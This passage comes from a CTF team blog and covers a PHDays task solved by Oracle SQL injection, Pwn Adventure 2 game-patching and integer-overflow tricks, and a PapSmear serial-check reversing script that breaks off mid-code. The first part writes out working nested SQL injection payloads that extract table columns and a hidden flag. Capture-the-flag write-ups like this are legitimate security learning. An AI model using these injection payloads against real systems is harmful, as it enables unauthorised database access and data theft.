Since this package is owned by <span style="font-family: Courier New, Courier, monospace;">PHD_IV_OWNER2</span>, we now have access to <span style="font-family: Courier New, Courier, monospace;">secret_products</span>. Single apostrophes now have to be passed as <span style="font-family: Courier New, Courier, monospace;">''''</span> to be interpreted properly.<br />
<br />
We started by dumping the column names for the <span style="font-family: Courier New, Courier, monospace;">secret_products</span> table. One of the first column names was <span style="font-family: Courier New, Courier, monospace;">hidden_code</span>, where we quickly stopped, because that's a very strong hint for the flag. This is a query that we used to dump column names.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?city=a'' union all select to_char(PHD_IV_OWNER2.shop_private_pkg.GET_PRODUCT_QUANTITY(<span style="color: #6fa8dc;">''A'''' union select ASCII(substr(a,%d,1)) from </span><span style="color: #741b47;">(select column_name as a,row_number() over (order by column_name asc) as rn from ALL_TAB_COLUMNS where table_name=''''SECRET_PRODUCTS'''')</span><span style="color: #6fa8dc;"> where rn=%d--''</span>)) from dual--</span></blockquote>
There were 23 products, but only 1 with a hidden_code, so we dumped it with the following query.<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?city=x'' union select to_char(PHD_IV_OWNER2.shop_private_pkg.GET_PRODUCT_QUANTITY(<span style="color: #6fa8dc;">''A'''' union select ASCII(substr(hidden_code,%d,1)) from </span><span style="color: #741b47;">(select hidden_code from PHD_IV_OWNER1.SECRET_PRODUCTS where hidden_code is not null)</span><span style="color: #6fa8dc;">--''</span>)) from dual--</span></blockquote>
The resulting flag was: <span style="font-family: Courier New, Courier, monospace;">9l5_q24y_2g7_r18_6g4</span><br />
<br />
Thanks to the PHDays guys for making a very challenging CTF! I enjoyed it a lot.</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com4tag:blogger.com,1999:blog-7011836621605765499.post-23449958196547801032014-01-20T00:33:00.001-08:002014-01-20T00:33:14.768-08:00Ghost in the Shellcode 2014 - Pwn Adventure 2 writeupsPwn Adventure 2 is a full MMO-like game designed by the creators of the CTF, with some pwning in mind. It uses Unity, and there is a separate DLL file (on Windows) for the game logic, which was allowed to be reversed and patched.<br />
<br />
We used .NET Reflector with the Reflexil plugin for the occasional patching.<br />
<br />
<h2>
<span style="font-size: large;">Cave of Nope and Moon Boots</span></h2>
After solving Ad Subtract, Cave of Nope was the second task we've solved. We discovered what to do pretty easily after exploring the area called "Creepy Cave". Here is a picture of the huge gap that we needed to get through in order to fight the Spider Queen.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuJ1P-dLfomjoFUiecB_B35XjsZLQ8WhdcGWLi7C9nXkEMUlzK5GbBvl_08f2KtOgtTVcZ8OR0F7UP1Vv2xQp0e3QL9RhO91WSCXs6A0gX6bHtq2mjSayr6tkbnmKvZmIM7fBD_LZojNM/s1600/cave_gap.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuJ1P-dLfomjoFUiecB_B35XjsZLQ8WhdcGWLi7C9nXkEMUlzK5GbBvl_08f2KtOgtTVcZ8OR0F7UP1Vv2xQp0e3QL9RhO91WSCXs6A0gX6bHtq2mjSayr6tkbnmKvZmIM7fBD_LZojNM/s1600/cave_gap.png" height="179" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Mind the gap</td></tr>
</tbody></table>
<br />
We started exploring the .NET assembly and found something very promising shortly.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVxbkDsDxrOxHzjgHRQ70OWIfxgLVlJfWbVMVz3gzT8aBEdEnEQUaJqw8T92rMyfuOu8ze8HjFikNwhFBZR6vtUAQ36b2v-BfVZBxRDBNoLA7VtFFn_R0DwngFeYdnywrm1Jfe9wEJ87s/s1600/cave_jump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVxbkDsDxrOxHzjgHRQ70OWIfxgLVlJfWbVMVz3gzT8aBEdEnEQUaJqw8T92rMyfuOu8ze8HjFikNwhFBZR6vtUAQ36b2v-BfVZBxRDBNoLA7VtFFn_R0DwngFeYdnywrm1Jfe9wEJ87s/s1600/cave_jump.png" height="208" width="320" /></a></div>
<br />
We also updated the constants in UpdateMovement to make the running speed much faster. This allowed us to get past the gap and two of us successfully defeated the evil Spider Queen.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjoTLrgD1RMqzdzVphzv5FeljJAy6Ntplvdx9iRQ2KmxWE19NfUl3svc9n-x4muin3zPzAdR2h_vDe121lAr3R1yEL5eL3mFrSachyY_Ouw-hPhFEssiGcSh2jLGkzbAPLFrqNaJY8Fc/s1600/cave_queen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjoTLrgD1RMqzdzVphzv5FeljJAy6Ntplvdx9iRQ2KmxWE19NfUl3svc9n-x4muin3zPzAdR2h_vDe121lAr3R1yEL5eL3mFrSachyY_Ouw-hPhFEssiGcSh2jLGkzbAPLFrqNaJY8Fc/s1600/cave_queen.png" height="179" width="320" /></a></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEi2USE_-_0sp5oM5PZpOoEPmh7mlZ7hE6CLSsT66mESLYcwHeyvudVum7d3yjSfa_SGVp80WFtsso39rqgCtQFoRPq3CIyEE7Ok3C6D975tnxQbwyHysfLx3esbEwB8GDlDII2gq-XeE/s1600/cave_chest.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEi2USE_-_0sp5oM5PZpOoEPmh7mlZ7hE6CLSsT66mESLYcwHeyvudVum7d3yjSfa_SGVp80WFtsso39rqgCtQFoRPq3CIyEE7Ok3C6D975tnxQbwyHysfLx3esbEwB8GDlDII2gq-XeE/s1600/cave_chest.png" height="180" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Reenactment</td></tr>
</tbody></table>
Even though Moon Boots is based on something very similar, we ended up solving that at the very end. It took us time to figure out how to enter the Moon level, and we only realized how to get there based on IRC logs. Initially we tried to enter the level by replacing level files, but this didn't allow us to take the items from the chest. Then we realized that if this worked, we would have been able to solve every task this way.<br />
<br />
The final solution was to create a negative gravity and jump out of bounds on a normal map. This teleported us to the moon.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2jbXlV1eV2ntTJ8hYd9uD76qR84nnpQLzXgDFrBtHnO_PzBik6ZEDbbZ_o20BfVTjTIeGLjJtLCCFSojKtUxl2_AMnnTI3eXQi_7CANNhlcBF3ZUY7L3h3C4wgD0EzEtusCtAvYas9xU/s1600/moon_patch.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2jbXlV1eV2ntTJ8hYd9uD76qR84nnpQLzXgDFrBtHnO_PzBik6ZEDbbZ_o20BfVTjTIeGLjJtLCCFSojKtUxl2_AMnnTI3eXQi_7CANNhlcBF3ZUY7L3h3C4wgD0EzEtusCtAvYas9xU/s1600/moon_patch.png" height="177" width="320" /></a></td></tr>
<tr><td class="tr-caption">Changing -9.81 to 0.5 did the trick</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGl6PZZEdN6v_tpE8PcrSoVS_1GLzKj7ExIfEME-rw6mnuBH5duf-qh6SX2KkhuEi3_AY6G2lLoYKFAIb6uAoWNwLEq1ONSS5frPtKTOX6pCTAQSidKb5xkQTKWncg-cDpnyZOX2UGoq0/s1600/moon_high.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGl6PZZEdN6v_tpE8PcrSoVS_1GLzKj7ExIfEME-rw6mnuBH5duf-qh6SX2KkhuEi3_AY6G2lLoYKFAIb6uAoWNwLEq1ONSS5frPtKTOX6pCTAQSidKb5xkQTKWncg-cDpnyZOX2UGoq0/s1600/moon_high.png" height="179" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMItprRpk9_NwimmmDep-RiyzFrWqlLl6DS_13oF8AAyGAOXkXawPCcxTMb0nX-3qQW3b9kn0NwQNTmCCJsFrJN9mbRzFRIJTRUTHLoT_IcwPZN3UTjwuVudxPZ0mdLj-lFmeG7Y-CP5E/s1600/moon_moon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMItprRpk9_NwimmmDep-RiyzFrWqlLl6DS_13oF8AAyGAOXkXawPCcxTMb0nX-3qQW3b9kn0NwQNTmCCJsFrJN9mbRzFRIJTRUTHLoT_IcwPZN3UTjwuVudxPZ0mdLj-lFmeG7Y-CP5E/s1600/moon_moon.png" height="179" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h2>
<span style="font-size: large;">Unbearable</span></h2>
For this task we had to crack a chest in a map full of bears. The chest took 5 minutes to crack and the less time we had, the more dangerous it was. In the last 90 seconds, bears actually start shooting at you with machine guns. It was clear that we need to be invincible to solve this. We tried patching the client in many different ways, but nothing seemed to take effect on the server side. Then we found out about driking wine through reading the code. This solved our problems. We also needed to jump on top of the chest to avoid other attacks, but we already had high jumps patched.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu0xuEoFJum65Bwp872V_3K9XUvjqTdo4ZKqdJ_8T7b7DvZsWw2kN-bKxzLIlsCbTZLExQrkBYdLg318WIWOJrHWdj67AIEzSvOwcRTNdTaoibAc20Qnqq0MTRQl47HaJMb7W8zCUyzpM/s1600/bear_chest.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu0xuEoFJum65Bwp872V_3K9XUvjqTdo4ZKqdJ_8T7b7DvZsWw2kN-bKxzLIlsCbTZLExQrkBYdLg318WIWOJrHWdj67AIEzSvOwcRTNdTaoibAc20Qnqq0MTRQl47HaJMb7W8zCUyzpM/s1600/bear_chest.png" height="179" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisDY3ZkLO46guuBhyphenhyphenAtjl5Kzcm6xn5o_H7WjCZrDMJu73JNXN36VkGdBW5J15SdRMZZy7CWhyphenhyphensUMQyIPya5hFgG-6T83H9-n0CfaKBkKGe_EbUI_davoQWMS5G2Ob-xh45OkvEkYL_Wms/s1600/bear_wine.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisDY3ZkLO46guuBhyphenhyphenAtjl5Kzcm6xn5o_H7WjCZrDMJu73JNXN36VkGdBW5J15SdRMZZy7CWhyphenhyphensUMQyIPya5hFgG-6T83H9-n0CfaKBkKGe_EbUI_davoQWMS5G2Ob-xh45OkvEkYL_Wms/s1600/bear_wine.png" height="179" width="320" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS_plCH5UiypLomjkFIXxmBpi9AWQ2kCIi2lNcenqBWEE9Y6Se8BX9-kFL9sA1AGkdOCXU7uiHirP7vlTQESnjW_NmXmNEcnwIj5qdpgXIEujQ3GUMuOutZjkaGZ2F1rbcYcfwLnhScds/s1600/bear_cracked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS_plCH5UiypLomjkFIXxmBpi9AWQ2kCIi2lNcenqBWEE9Y6Se8BX9-kFL9sA1AGkdOCXU7uiHirP7vlTQESnjW_NmXmNEcnwIj5qdpgXIEujQ3GUMuOutZjkaGZ2F1rbcYcfwLnhScds/s1600/bear_cracked.png" height="179" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h2>
<span style="font-size: large;">A Boaring Quest</span></h2>
<div>
For this task, we needed to take down 9800 boars. This seemed too tedious, so we decided to cheat. We came up with a rather ugly solution, but it worked. In <span style="font-family: Courier New, Courier, monospace;">GameServerConnection</span><span style="font-family: inherit;"> </span>we found a <span style="font-family: Courier New, Courier, monospace;">QuestKill</span><span style="font-family: inherit;"> </span>method, which had the following anonymous method inside:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">internal void <>m__51()<br />{<br /> try<br /> {<br /> GameServerMessage message = new GameServerMessage(GameServerMessage.Command.QuestKillCommand);<br /> message.GetWriter().Write(this.enemyName);<br /> message.Serialize(this.$this.stream);<br /> this.$this.bytesSent += message.length;<br /> }<br /> catch (Exception)<br /> {<br /> this.$this.Stop();<br /> }<br />}</span></blockquote>
</div>
<div>
Instead of returning from the function in the end, we just jumped to the beginning again. This is not an elegant solution at all.</div>
<div>
<br /></div>
<h2>
<span style="font-size: large;">Rabbit of Caerbannog</span></h2>
<div>
To solve this task, we needed to defeat a rabbit, which seemed invincible at first. After reading parts of the code, we realized that we need a "Holy Hand Grenade" to kill it. To get the grenade, we needed 89 gears, which were supposed to be purchased using real money as an in-game purchase (this part wasn't implemented, just suggested). Here is the relevant code:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">if (!this.$this.player.inventory.AdjustQuantityForItem(<br /> "IAP", -this.quantity * this.itemPrice))<br />{<br /> this.result = false;<br /> this.error = "Not enough Gears for this purchase.";<br /> this.doneEvent.Set();<br />}<br />else<br />{<br /> // Get the item<br />}</span></blockquote>
<div>
If <span style="font-family: Courier New, Courier, monospace;">-this.quantity*this.itemPrice</span> is a negative value (as supposed), we will never have enough gears to buy something, since there is no mechanism in the game to get gears. However, if we do an integer overflow, the sign of the expression will change and we not only get a lot of grenades, but a lot of gears too.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS2w5mT-N0rQ320qHT5Ut-I23MPMrNfIxOp0F_mTUGUxRqYA4j8onBsTR4zzcUGWcZ7xJBVLHd2zTr1n3qQmTDpKqk_qlG_6rhXQC0DzrYSnZrqJb48Y4xFbW3Vh8PFJO_Zonv-IxLogQ/s1600/rabbit_gear.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS2w5mT-N0rQ320qHT5Ut-I23MPMrNfIxOp0F_mTUGUxRqYA4j8onBsTR4zzcUGWcZ7xJBVLHd2zTr1n3qQmTDpKqk_qlG_6rhXQC0DzrYSnZrqJb48Y4xFbW3Vh8PFJO_Zonv-IxLogQ/s1600/rabbit_gear.png" height="186" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifPpW4NPc-gQ-Juo0vd-g2zrsHTRHtpwAMAjh3wfHRWqQj3iR3XjBlMzF1a08-6yWa2SIHs1s1dG0ZihKP11YDkz45WGsDNNCkMAYB1mxlaAcZwddqC_PznEJTSvhnwSirp1ijWvO20Ik/s1600/rabbit_gear2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifPpW4NPc-gQ-Juo0vd-g2zrsHTRHtpwAMAjh3wfHRWqQj3iR3XjBlMzF1a08-6yWa2SIHs1s1dG0ZihKP11YDkz45WGsDNNCkMAYB1mxlaAcZwddqC_PznEJTSvhnwSirp1ijWvO20Ik/s1600/rabbit_gear2.png" height="186" width="320" /></a></div>
<div>
<br /></div>
<div>
Entering 999,999,999 for the number of grenades to buy did the trick.</div>
<div>
<br /></div>
<div>
Pwn Adventure 2 was the most impressive CTF task (well set of tasks) I have seen. Thanks again to the Ghost in the Shellcode team.</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com1tag:blogger.com,1999:blog-7011836621605765499.post-42648251383500263952014-01-19T12:53:00.000-08:002014-01-19T12:53:20.116-08:00Ghost in the Shellcode 2014 - PapSmear writeupThis was a reversing task for 150 points. There was a python script which asked for a serial. If the serial we enter is accepted, we get a key. Here is the original source: <a href="https://gist.github.com/balidani/f91d5011365aea897768">https://gist.github.com/balidani/f91d5011365aea897768</a><br />
<br />
The source is kind-of obfuscated, but not too badly. After making things prettier, this is what we came up with:<br />
<br />
<pre><span style="color: dimgrey;">#!/usr/bin/python</span>
<span style="color: maroon; font-weight: bold;">from</span> collections <span style="color: maroon; font-weight: bold;">import</span> defaultdict as d
<span style="color: maroon; font-weight: bold;">from</span> itertools <span style="color: maroon; font-weight: bold;">import</span> count as c
<span style="color: maroon; font-weight: bold;">from</span> operator <span style="color: maroon; font-weight: bold;">import</span> mul as m
<span style="color: maroon; font-weight: bold;">def</span> generate_primes<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
_b<span style="color: #808030;">,</span> __b <span style="color: #808030;">=</span> <span style="color: #808030;">[</span><span style="color: #808030;">]</span><span style="color: #808030;">,</span> d<span style="color: #808030;">(</span><span style="color: #e34adc;">list</span><span style="color: #808030;">)</span>
_c <span style="color: #808030;">=</span> <span style="color: #008c00;">1</span>
<span style="color: maroon; font-weight: bold;">for</span> a <span style="color: maroon; font-weight: bold;">in</span> c<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">if</span> a <span style="color: #808030;"><</span> <span style="color: #e34adc;">len</span><span style="color: #808030;">(</span>_b<span style="color: #808030;">)</span><span style="color: #808030;">:</span> _c <span style="color: #808030;">=</span> _b<span style="color: #808030;">[</span>a<span style="color: #808030;">]</span>
<span style="color: maroon; font-weight: bold;">else</span><span style="color: #808030;">:</span>
_c <span style="color: #808030;">+</span><span style="color: #808030;">=</span> <span style="color: #008c00;">1</span>
<span style="color: maroon; font-weight: bold;">while</span> _c <span style="color: maroon; font-weight: bold;">in</span> __b<span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">for</span> b <span style="color: maroon; font-weight: bold;">in</span> __b<span style="color: #808030;">[</span>_c<span style="color: #808030;">]</span><span style="color: #808030;">:</span> __b<span style="color: #808030;">[</span>_c<span style="color: #808030;">+</span>b<span style="color: #808030;">]</span><span style="color: #808030;">+</span><span style="color: #808030;">=</span><span style="color: #808030;">[</span>b<span style="color: #808030;">]</span>
<span style="color: maroon; font-weight: bold;">del</span> __b<span style="color: #808030;">[</span>_c<span style="color: #808030;">]</span>
_c <span style="color: #808030;">+</span><span style="color: #808030;">=</span> <span style="color: #008c00;">1</span>
__b<span style="color: #808030;">[</span>_c<span style="color: #808030;">+</span>_c<span style="color: #808030;">]</span><span style="color: #808030;">+</span><span style="color: #808030;">=</span><span style="color: #808030;">[</span>_c<span style="color: #808030;">]</span>
_b<span style="color: #808030;">.</span>append<span style="color: #808030;">(</span>_c<span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">yield</span> _c
<span style="color: maroon; font-weight: bold;">def</span> prime_factors<span style="color: #808030;">(</span>n<span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">for</span> _c <span style="color: maroon; font-weight: bold;">in</span> generate_primes<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">if</span> _c <span style="color: #808030;">></span> n<span style="color: #808030;">:</span> <span style="color: maroon; font-weight: bold;">return</span>
_d <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span>
<span style="color: maroon; font-weight: bold;">while</span> n <span style="color: #808030;">%</span> _c <span style="color: #808030;">=</span><span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">:</span> _d<span style="color: #808030;">,</span> n <span style="color: #808030;">=</span> _d <span style="color: #808030;">+</span> <span style="color: #008c00;">1</span><span style="color: #808030;">,</span> n <span style="color: #808030;">/</span> _c
<span style="color: maroon; font-weight: bold;">if</span> _d <span style="color: #808030;">!</span><span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">:</span> <span style="color: maroon; font-weight: bold;">yield</span> _c
<span style="color: maroon; font-weight: bold;">def</span> relative_prime<span style="color: #808030;">(</span>x<span style="color: #808030;">,</span> y<span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: dimgrey;"># return ___a(x * y) == ___a(y) * ___a(x)</span>
<span style="color: maroon; font-weight: bold;">from</span> fractions <span style="color: maroon; font-weight: bold;">import</span> gcd
<span style="color: maroon; font-weight: bold;">return</span> gcd<span style="color: #808030;">(</span>x<span style="color: #808030;">,</span> y<span style="color: #808030;">)</span> <span style="color: #808030;">=</span><span style="color: #808030;">=</span> <span style="color: #008c00;">1</span>
<span style="color: maroon; font-weight: bold;">def</span> in_bounds<span style="color: #808030;">(</span>i<span style="color: #808030;">,</span> j<span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: maroon; font-weight: bold;">not</span> <span style="color: #008c00;">10000</span> <span style="color: #808030;"><</span> i <span style="color: #808030;"><</span> <span style="color: #008c00;">100000</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">False</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: maroon; font-weight: bold;">not</span> <span style="color: #008c00;">100</span> <span style="color: #808030;"><</span><span style="color: #808030;">=</span> j <span style="color: #808030;"><</span><span style="color: #808030;">=</span> <span style="color: #008c00;">999</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">False</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">True</span>
<span style="color: maroon; font-weight: bold;">def</span> is_prime<span style="color: #808030;">(</span>n<span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">import</span> math
<span style="color: maroon; font-weight: bold;">if</span> n <span style="color: #808030;"><</span> <span style="color: #008c00;">2</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">False</span>
i <span style="color: #808030;">=</span> <span style="color: #008c00;">2</span>
<span style="color: maroon; font-weight: bold;">while</span> i <span style="color: #808030;"><</span><span style="color: #808030;">=</span> math<span style="color: #808030;">.</span>sqrt<span style="color: #808030;">(</span>n<span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">if</span> n <span style="color: #808030;">%</span> i <span style="color: #808030;">=</span><span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">False</span>
i <span style="color: #808030;">+</span><span style="color: #808030;">=</span> <span style="color: #008c00;">1</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: #e34adc;">True</span>
<span style="color: maroon; font-weight: bold;">def</span> main<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">try</span><span style="color: #808030;">:</span>
c <span style="color: #808030;">=</span> <span style="color: #e34adc;">raw_input</span><span style="color: #808030;">(</span><span style="color: #0000e6;">'Serial: '</span><span style="color: #808030;">)</span><span style="color: #808030;">.</span>split<span style="color: #808030;">(</span><span style="color: #0000e6;">'-'</span><span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: #e34adc;">len</span><span style="color: #808030;">(</span>c<span style="color: #808030;">)</span> <span style="color: #808030;">!</span><span style="color: #808030;">=</span> <span style="color: #008c00;">6</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">raise</span>
<span style="color: maroon; font-weight: bold;">for</span> x <span style="color: maroon; font-weight: bold;">in</span> <span style="color: #e34adc;">range</span><span style="color: #808030;">(</span><span style="color: #008c00;">0</span><span style="color: #808030;">,</span> <span style="color: #008c00;">6</span><span style="color: #808030;">,</span> <span style="color: #008c00;">2</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: dimgrey;"># c[x] is 5 chars long, c[x+1] is 3</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: maroon; font-weight: bold;">not</span> in_bounds<span style="color: #808030;">(</span><span style="color: #e34adc;">int</span><span style="color: #808030;">(</span>c<span style="color: #808030;">[</span>x<span style="color: #808030;">]</span><span style="color: #808030;">)</span><span style="color: #808030;">,</span><span style="color: #e34adc;">int</span><span style="color: #808030;">(</span>c<span style="color: #808030;">[</span>x<span style="color: #808030;">+</span><span style="color: #008c00;">1</span><span style="color: #808030;">]</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">raise</span>
<span style="color: dimgrey;"># Tests if c[x] is a prime</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: maroon; font-weight: bold;">not</span> is_prime<span style="color: #808030;">(</span><span style="color: #e34adc;">int</span><span style="color: #808030;">(</span>c<span style="color: #808030;">[</span>x<span style="color: #808030;">]</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">raise</span>
<span style="color: dimgrey;"># Tests whether c[x] and c[x+1] are relative primes</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: maroon; font-weight: bold;">not</span> relative_prime<span style="color: #808030;">(</span><span style="color: #e34adc;">int</span><span style="color: #808030;">(</span>c<span style="color: #808030;">[</span>x<span style="color: #808030;">]</span><span style="color: #808030;">)</span><span style="color: #808030;">,</span> <span style="color: #e34adc;">int</span><span style="color: #808030;">(</span>c<span style="color: #808030;">[</span>x<span style="color: #808030;">+</span><span style="color: #008c00;">1</span><span style="color: #808030;">]</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">raise</span>
<span style="color: dimgrey;"># c[x] and c[x+1] have to be unique</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: #e34adc;">len</span><span style="color: #808030;">(</span><span style="color: #808030;">[</span>y <span style="color: maroon; font-weight: bold;">for</span> y <span style="color: maroon; font-weight: bold;">in</span> c <span style="color: maroon; font-weight: bold;">if</span> y <span style="color: #808030;">=</span><span style="color: #808030;">=</span> c<span style="color: #808030;">[</span>x<span style="color: #808030;">]</span><span style="color: #808030;">]</span><span style="color: #808030;">)</span> <span style="color: #808030;">></span> <span style="color: #008c00;">1</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">raise</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: #e34adc;">len</span><span style="color: #808030;">(</span><span style="color: #808030;">[</span>z <span style="color: maroon; font-weight: bold;">for</span> z <span style="color: maroon; font-weight: bold;">in</span> c <span style="color: maroon; font-weight: bold;">if</span> z <span style="color: #808030;">=</span><span style="color: #808030;">=</span> c<span style="color: #808030;">[</span>x<span style="color: #808030;">+</span><span style="color: #008c00;">1</span><span style="color: #808030;">]</span><span style="color: #808030;">]</span><span style="color: #808030;">)</span> <span style="color: #808030;">></span> <span style="color: #008c00;">1</span><span style="color: #808030;">:</span>
<span style="color: maroon; font-weight: bold;">raise</span>
c<span style="color: #808030;">.</span>reverse<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: maroon; font-weight: bold;">for</span> k <span style="color: maroon; font-weight: bold;">in</span> <span style="color: #e34adc;">range</span><span style="color: #808030;">(</span><span style="color: #008c00;">7</span><span style="color: #808030;">,</span><span style="color: #008c00;">10</span><span style="color: #808030;">)</span><span style="color: #808030;">:</span>
a<span style="color: #808030;">,</span>b <span style="color: #808030;">=</span> <span style="color: #e34adc;">int</span><span style="color: #808030;">(</span>c<span style="color: #808030;">.</span>pop<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #808030;">,</span><span style="color: #e34adc;">int</span><span style="color: #808030;">(</span>c<span style="color: #808030;">.</span>pop<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span>
